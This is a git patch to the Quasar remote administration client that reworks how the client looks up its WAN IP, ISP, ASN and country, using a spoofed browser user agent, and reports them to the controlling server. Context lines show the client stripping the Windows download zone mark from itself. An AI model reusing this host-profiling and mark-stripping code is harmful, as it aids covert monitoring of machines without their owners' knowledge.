From 574713307d37d69d710a404d861380ce83753495 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 20 May 2020 23:08:58 +0200 Subject: [PATCH] Update IP geolocation retrieval, use TLS 1.2 --- Quasar.Client/Commands/SystemHandler.cs | 12 +- Quasar.Client/Data/GeoInformation.cs | 37 ---- Quasar.Client/Helper/DateTimeHelper.cs | 16 ++ Quasar.Client/Helper/GeoLocationHelper.cs | 192 ------------------ Quasar.Client/ILRepack.targets | 2 +- Quasar.Client/IpGeoLocation/GeoInformation.cs | 16 ++ .../IpGeoLocation/GeoInformationFactory.cs | 47 +++++ .../IpGeoLocation/GeoInformationRetriever.cs | 186 +++++++++++++++++ Quasar.Client/IpGeoLocation/GeoResponse.cs | 82 ++++++++ Quasar.Client/Networking/Client.cs | 2 +- Quasar.Client/Networking/QuasarClient.cs | 11 +- Quasar.Client/Program.cs | 5 +- Quasar.Client/Quasar.Client.csproj | 2 + Quasar.Client/images/information.png | Bin 898 -> 0 bytes .../Messages/ClientIdentification.cs | 18 +- Quasar.Server/Networking/QuasarServer.cs | 2 - Quasar.Server/Networking/Server.cs | 2 +- Quasar.Server/Networking/UserState.cs | 2 - Quasar.Server/Program.cs | 8 +- Quasar.Server/Utilities/NoIpUpdater.cs | 2 +- 20 files changed, 382 insertions(+), 262 deletions(-) delete mode 100644 Quasar.Client/Data/GeoInformation.cs create mode 100644 Quasar.Client/Helper/DateTimeHelper.cs delete mode 100644 Quasar.Client/Helper/GeoLocationHelper.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformation.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformationFactory.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs create mode 100644 Quasar.Client/IpGeoLocation/GeoResponse.cs delete mode 100644 Quasar.Client/images/information.png diff --git a/Quasar.Client/Commands/SystemHandler.cs b/Quasar.Client/Commands/SystemHandler.cs index 40d6b14f..8d3ab92c 100644 --- a/Quasar.Client/Commands/SystemHandler.cs +++ b/Quasar.Client/Commands/SystemHandler.cs @@ -9,6 +9,7 @@ using Quasar.Client.Config; using Quasar.Client.Data; using Quasar.Client.Extensions; +using Quasar.Client.IpGeoLocation; using Quasar.Client.Helper; using Quasar.Client.Utilities; using Quasar.Common.Enums; @@ -355,6 +356,8 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + var geoInfo = GeoInformationFactory.GetGeoInformation(); + List> lstInfos = new List> { new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), @@ -369,12 +372,13 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client new Tuple("Uptime", SystemHelper.GetUptime()), new Tuple("MAC Address", DevicesHelper.GetMacAddress()), new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), - new Tuple("WAN IP Address", GeoLocationHelper.GeoInfo.Ip), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), new Tuple("Antivirus", SystemHelper.GetAntivirus()), new Tuple("Firewall", SystemHelper.GetFirewall()), - new Tuple("Time Zone", GeoLocationHelper.GeoInfo.Timezone), - new Tuple("Country", GeoLocationHelper.GeoInfo.Country), - new Tuple("ISP", GeoLocationHelper.GeoInfo.Isp) + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) }; client.Send(new GetSystemInfoResponse {SystemInfos = lstInfos}); diff --git a/Quasar.Client/Data/GeoInformation.cs b/Quasar.Client/Data/GeoInformation.cs deleted file mode 100644 index 71ccd722..00000000 --- a/Quasar.Client/Data/GeoInformation.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Runtime.Serialization; - -namespace Quasar.Client.Data -{ - [DataContract] - public class GeoInformation - { - [DataMember(Name = "as")] - public string As { get; set; } - [DataMember(Name = "city")] - public string City { get; set; } - [DataMember(Name = "country")] - public string Country { get; set; } - [DataMember(Name = "countryCode")] - public string CountryCode { get; set; } - [DataMember(Name = "isp")] - public string Isp { get; set; } - [DataMember(Name = "lat")] - public double Lat { get; set; } - [DataMember(Name = "lon")] - public double Lon { get; set; } - [DataMember(Name = "org")] - public string Org { get; set; } - [DataMember(Name = "query")] - public string Ip { get; set; } - [DataMember(Name = "region")] - public string Region { get; set; } - [DataMember(Name = "regionName")] - public string RegionName { get; set; } - [DataMember(Name = "status")] - public string Status { get; set; } - [DataMember(Name = "timezone")] - public string Timezone { get; set; } - [DataMember(Name = "zip")] - public string Zip { get; set; } - } -} diff --git a/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 00000000..90405a04 --- /dev/null +++ b/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Quasar.Client/Helper/GeoLocationHelper.cs b/Quasar.Client/Helper/GeoLocationHelper.cs deleted file mode 100644 index 0a6ed1b2..00000000 --- a/Quasar.Client/Helper/GeoLocationHelper.cs +++ /dev/null @@ -1,192 +0,0 @@ -using System; -using System.IO; -using System.Net; -using System.Runtime.Serialization.Json; -using System.Text; -using System.Xml; -using Quasar.Client.Data; - -namespace Quasar.Client.Helper -{ - public static class GeoLocationHelper - { - public static readonly string[] ImageList = - { - "ad", "ae", "af", "ag", "ai", "al", - "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", - "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", - "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", - "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", - "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", - "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", - "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", - "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", - "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", - "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", - "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", - "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", - "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", - "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", - "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", - "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", - "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", - "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", - "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", - "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", - "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", - "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", - "ws", "ye", "yt", "za", "zm", "zw" - }; - - public static int ImageIndex { get; set; } - public static GeoInformation GeoInfo { get; private set; } - public static DateTime LastLocated { get; private set; } - public static bool LocationCompleted { get; private set; } - - static GeoLocationHelper() - { - LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); - } - - public static void Initialize() - { - TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks); - - // last location was 60 minutes ago or last location has not completed - if (lastLocateTry.TotalMinutes > 60 || !LocationCompleted) - { - TryLocate(); - - GeoInfo.Ip = (string.IsNullOrEmpty(GeoInfo.Ip)) ? "Unknown" : GeoInfo.Ip; - GeoInfo.Country = (string.IsNullOrEmpty(GeoInfo.Country)) ? "Unknown" : GeoInfo.Country; - GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoInfo.CountryCode)) ? "-" : GeoInfo.CountryCode; - GeoInfo.Region = (string.IsNullOrEmpty(GeoInfo.Region)) ? "Unknown" : GeoInfo.Region; - GeoInfo.City = (string.IsNullOrEmpty(GeoInfo.City)) ? "Unknown" : GeoInfo.City; - GeoInfo.Timezone = (string.IsNullOrEmpty(GeoInfo.Timezone)) ? "Unknown" : GeoInfo.Timezone; - GeoInfo.Isp = (string.IsNullOrEmpty(GeoInfo.Isp)) ? "Unknown" : GeoInfo.Isp; - - ImageIndex = 0; - for (int i = 0; i < ImageList.Length; i++) - { - if (ImageList[i] == GeoInfo.CountryCode.ToLower()) - { - ImageIndex = i; - break; - } - } - if (ImageIndex == 0) ImageIndex = 247; // question icon - } - } - - private static void TryLocate() - { - LocationCompleted = false; - - try - { - DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation)); - - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) - { - GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms); - } - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - TryLocateFallback(); - } - } - - private static void TryLocateFallback() - { - GeoInfo = new GeoInformation(); - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - XmlDocument doc = new XmlDocument(); - doc.LoadXml(responseString); - - GeoInfo.Ip = doc.SelectSingleNode("Response//IP").InnerXml; - GeoInfo.Country = doc.SelectSingleNode("Response//CountryName").InnerXml; - GeoInfo.CountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml; - GeoInfo.Region = doc.SelectSingleNode("Response//RegionName").InnerXml; - GeoInfo.City = doc.SelectSingleNode("Response//City").InnerXml; - GeoInfo.Timezone = doc.SelectSingleNode("Response//TimeZone").InnerXml; - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - LocationCompleted = false; - } - - if (string.IsNullOrEmpty(GeoInfo.Ip)) - TryGetWanIp(); - } - - private static void TryGetWanIp() - { - string wanIp = "-"; - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 5000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - wanIp = reader.ReadToEnd(); - } - } - } - } - catch (Exception) - { - } - - GeoInfo.Ip = wanIp; - } - } -} \ No newline at end of file diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets index 607bafa9..7904ea00 100644 --- a/Quasar.Client/ILRepack.targets +++ b/Quasar.Client/ILRepack.targets @@ -1,6 +1,6 @@  - + diff --git a/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100644 index 00000000..f2f40a86 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100644 index 00000000..3af63cef --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 00000000..00867b93 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,186 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoResponse)); + + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://tools.keycdn.com/geo.json"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + string responseString = reader.ReadToEnd(); + + using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) + { + var geoInfo = (GeoResponse)jsonSerializer.ReadObject(ms); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Data.Geo.Ip, + Country = geoInfo.Data.Geo.CountryName, + CountryCode = geoInfo.Data.Geo.CountryCode, + Timezone = geoInfo.Data.Geo.Timezone, + Asn = geoInfo.Data.Geo.Asn.ToString(), + Isp = geoInfo.Data.Geo.Isp + }; + + return g; + } + } + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 00000000..0475e421 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,82 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name ="status")] + public string Status { get; set; } + + [DataMember(Name = "description")] + public string Description { get; set; } + + [DataMember(Name = "data")] + public DataObject Data { get; set; } + } + + [DataContract()] + public class DataObject + { + [DataMember(Name = "geo")] + public LocationData Geo { get; set; } + } + + [DataContract()] + public class LocationData + { + [DataMember(Name = "host")] + public string Host; + + [DataMember(Name = "ip")] + public string Ip; + + [DataMember(Name = "rdns")] + public string Rdns; + + [DataMember(Name = "asn")] + public int Asn; + + [DataMember(Name = "isp")] + public string Isp; + + [DataMember(Name = "country_name")] + public string CountryName; + + [DataMember(Name = "country_code")] + public string CountryCode; + + [DataMember(Name = "region_name")] + public string RegionName; + + [DataMember(Name = "region_code")] + public string RegionCode; + + [DataMember(Name = "city")] + public string City; + + [DataMember(Name = "postal_code")] + public string PostalCode; + + [DataMember(Name = "continent_name")] + public string ContinentName; + + [DataMember(Name = "continent_code")] + public string ContinentCode; + + [DataMember(Name = "latitude")] + public double Latitude; + + [DataMember(Name = "longitude")] + public double Longitude; + + [DataMember(Name = "metro_code")] + public object MetroCode; + + [DataMember(Name = "timezone")] + public string Timezone; + + [DataMember(Name = "datetime")] + public string Datetime; + } +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index a4091b22..3e6cafcc 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -273,7 +273,7 @@ protected void Connect(IPAddress ip, ushort port) if (handle.Connected) { _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); - _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 77c3fb70..77492b96 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -1,6 +1,7 @@ using Quasar.Client.Commands; using Quasar.Client.Config; using Quasar.Client.Data; +using Quasar.Client.IpGeoLocation; using Quasar.Client.Helper; using Quasar.Client.Utilities; using Quasar.Common.Helpers; @@ -96,18 +97,16 @@ private void OnClientState(Client client, bool connected) { // send client identification once connected - GeoLocationHelper.Initialize(); + var geoInfo = GeoInformationFactory.GetGeoInformation(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, AccountType = WindowsAccountHelper.GetAccountType(), - Country = GeoLocationHelper.GeoInfo.Country, - CountryCode = GeoLocationHelper.GeoInfo.CountryCode, - Region = GeoLocationHelper.GeoInfo.Region, - City = GeoLocationHelper.GeoInfo.City, - ImageIndex = GeoLocationHelper.ImageIndex, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, Id = DevicesHelper.HardwareId, Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 9da5a530..6e456451 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -10,6 +10,7 @@ using System; using System.Diagnostics; using System.IO; +using System.Net; using System.Threading; using System.Windows.Forms; @@ -23,6 +24,9 @@ internal static class Program [STAThread] private static void Main(string[] args) { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; @@ -92,7 +96,6 @@ private static bool Initialize() return false; ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); - GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index d26498df..c669137e 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -10,6 +10,8 @@ ..\bin\Debug\ true + portable + true none diff --git a/Quasar.Client/images/information.png b/Quasar.Client/images/information.png deleted file mode 100644 index 6205729f783f6a3e9c36273c7c57571c6daaec30..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmV-|1AY97P)^R2Oei931K=X8$J$5|=5x8+ zIAMVRUDv^80sn@XP+MMJzOSvVt)rr%Vuz+_hCvVngu~%4{r&xYkx1k%Z4DDtX5*`> zs@SQFe59$VsnhTGUmBf+EBGRTdykTM^hQP~l7^5cxjIhNAEHS4si`SOju5iE$Kzq4 z>~C&v?)3S5r@HUVV`4TRmUWv@Tfyhb7mOoYp3vo5#W zU3c){0sqz8^WgJcu-omJp8km&=Oo-bFCh|{Gxl`RfopeTsIRa0mzI{+F)kDEwzeK` zfBZTMCAW@>1I*3EpeV}U;;?lzx@g#vsujP(vu+fT{j*V0;>4#=7JH6v@-i+Hu%}Wo#-=rFuF#>XD@ZKKNH3=mxb8Mud-CcJ znD{(HKu)iaZw{G^!bI%?wTh(yP0J!FQ>cr}phIEe%m&$NwSwa0m1d-p30S29 z@OeZM*2t118Edx3kX_BdyCsjh^nHSHnZV~jAP_vf+kuT%8Je;L(M-;w#UQgZ*qRrK ztfo+E&%jr+0S_MrgN(~NolZF(Ulb{8>&3Ia>Su4JFc(cwCWW~FLO}0RjY3^PG8#g$ z6vM5{UJMQnJQx~!7o-dLk^l2BX2!?Aa@1$8`$BV7fkj0+HjOVIN3b+Mfn9C|t-c~$ zK2wcApm%U!pf8xoWS+$1am{2@1F)FQ=0eKZ=kZk6c6D88sHxdo`QJms=;-@!PtT1f zlaph^vMj$;Rh3;Bg$b~t+X)*9Hc=Gqba5)_(G>mvoGHo$s(N^Jbu~f%X~Hi;;